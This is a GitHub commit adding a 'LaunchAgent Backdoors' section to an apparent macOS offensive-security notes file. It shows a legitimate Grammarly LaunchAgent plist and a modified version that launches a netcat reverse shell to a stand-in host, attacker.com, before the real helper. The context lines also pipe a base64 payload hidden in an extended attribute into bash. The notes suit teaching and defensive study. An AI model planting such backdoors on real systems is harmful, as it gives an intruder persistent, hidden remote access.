Skip to content

Commit 0b9cd28

Browse files
authored
Document LaunchAgent backdoors in Mac_OSX.md
Added section on LaunchAgent backdoors with example plist configuration.
1 parent 564d7ef commit 0b9cd28

1 file changed

Lines changed: 54 additions & 0 deletions

File tree

Mac_OSX.md

Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -329,3 +329,57 @@ user.hiddenPayload
329329
❯ xattr -p user.hiddenPayload not_malicious.txt | base64 -d | bash
330330
I'm on your system
331331
```
332+
333+
### LaunchAgent Backdoors
334+
335+
LaunchAgent plists are a common target because they provide persistent access that survives reboots. Take this Grammarly helper, for example:
336+
337+
```xml
338+
<?xml version="1.0" encoding="UTF-8"?>
339+
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
340+
<plist version="1.0">
341+
<dict>
342+
<key>AssociatedBundleIdentifiers</key>
343+
<string>com.grammarly.ProjectLlama</string>
344+
<key>EnvironmentVariables</key>
345+
<dict>
346+
<key>GD_AGENT_LABEL</key>
347+
<string>com.grammarly.ProjectLlama.Shepherd</string>
348+
<key>GD_AGENT_PLIST_PATH</key>
349+
<string>/Users/rosesecurity/Library/LaunchAgents/com.grammarly.ProjectLlama.Shepherd.plist</string>
350+
<key>GD_BUNDLE_ID</key>
351+
<string>com.grammarly.ProjectLlama</string>
352+
<key>GD_BUNDLE_NAME</key>
353+
<string>Grammarly Desktop</string>
354+
</dict>
355+
<key>KeepAlive</key>
356+
<true/>
357+
<key>Label</key>
358+
<string>com.grammarly.ProjectLlama.Shepherd</string>
359+
<key>MachServices</key>
360+
<dict>
361+
<key>com.grammarly.nativemessaging.discovery</key>
362+
<true/>
363+
</dict>
364+
<key>ProgramArguments</key>
365+
<array>
366+
<string>/Applications/Grammarly Desktop.app/Contents/Library/LaunchAgents/Grammarly Desktop Helper.app/Contents/MacOS/Grammarly Desktop Helper</string>
367+
</array>
368+
<key>RunAtLoad</key>
369+
<true/>
370+
</dict>
371+
</plist>
372+
```
373+
374+
We could modify the `ProgramArguments` array to execute malicious commands instead of or alongside the legitimate Grammarly helper:
375+
376+
```xml
377+
<key>ProgramArguments</key>
378+
<array>
379+
<string>/bin/bash</string>
380+
<string>-c</string>
381+
<string>nc -e /bin/bash attacker.com 4444 &amp;&amp; /Applications/Grammarly Desktop.app/Contents/Library/LaunchAgents/Grammarly Desktop Helper.app/Contents/MacOS/Grammarly Desktop Helper</string>
382+
</array>
383+
```
384+
385+
The `RunAtLoad` and `KeepAlive` keys make this particularly dangerous because the malicious payload would execute automatically at login and restart if it crashes. The `MachServices` configuration also provides inter-process communication capabilities that could be exploited.

0 commit comments

Comments
 (0)